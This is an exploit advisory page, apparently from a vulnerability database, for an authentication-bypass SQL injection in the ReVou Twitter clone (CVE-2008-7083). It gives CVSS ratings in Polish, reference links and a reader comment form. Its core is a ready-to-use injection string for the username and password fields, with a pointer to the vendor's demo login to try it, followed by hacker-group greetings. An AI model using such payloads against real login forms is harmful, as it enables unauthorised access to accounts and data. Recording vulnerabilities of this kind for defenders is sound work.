ReVou Twitter Clone (Auth Bypass) SQL Injection Vulnerability

2009-08-27 / 2009-08-28

Credit: R3d D3v!

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-7083

CWE: CWE-89

Ogólna skala CVSS: 7.5/10

Znaczenie: 6.4/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Częściowy

Wpływ na dostępność: Częściowy

 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
 [~]Vendor:www.revou.com
 [~]Software: ReVou Online
 [~] Date: 28.11.2008
 [~] Home: www.ahacker.biz
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
    
    
 [~] Exploit:
    
     username: r0' or ' 1=1--
     password: r0' or ' 1=1--
    
    
 [~]login 4 d3m0:
    
     http://www.revou.com/demo/
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
     [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
     [~]
     [~] spechial thanks : dolly & 7am3m & &#216;&#185;&#217;&#65533;&#216;&#216;&#175; ,&#216;&#217;&#65533;&#216;&#178;&#217;&#65533;&#217;&#65533;&#216;&#177;&#217;&#65533;
     [~]
     [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
     [~]
     [~] xp10.biz & ahacker.biz
     [~]
 
 [~]--------------------------------------------------------------------------------

Referencje:

http://xforce.iss.net/xforce/xfdb/46907

http://www.securityfocus.com/bid/32525

http://www.milw0rm.com/exploits/7270

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

ReVou Twitter Clone (Auth Bypass) SQL Injection Vulnerability

Referencje:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.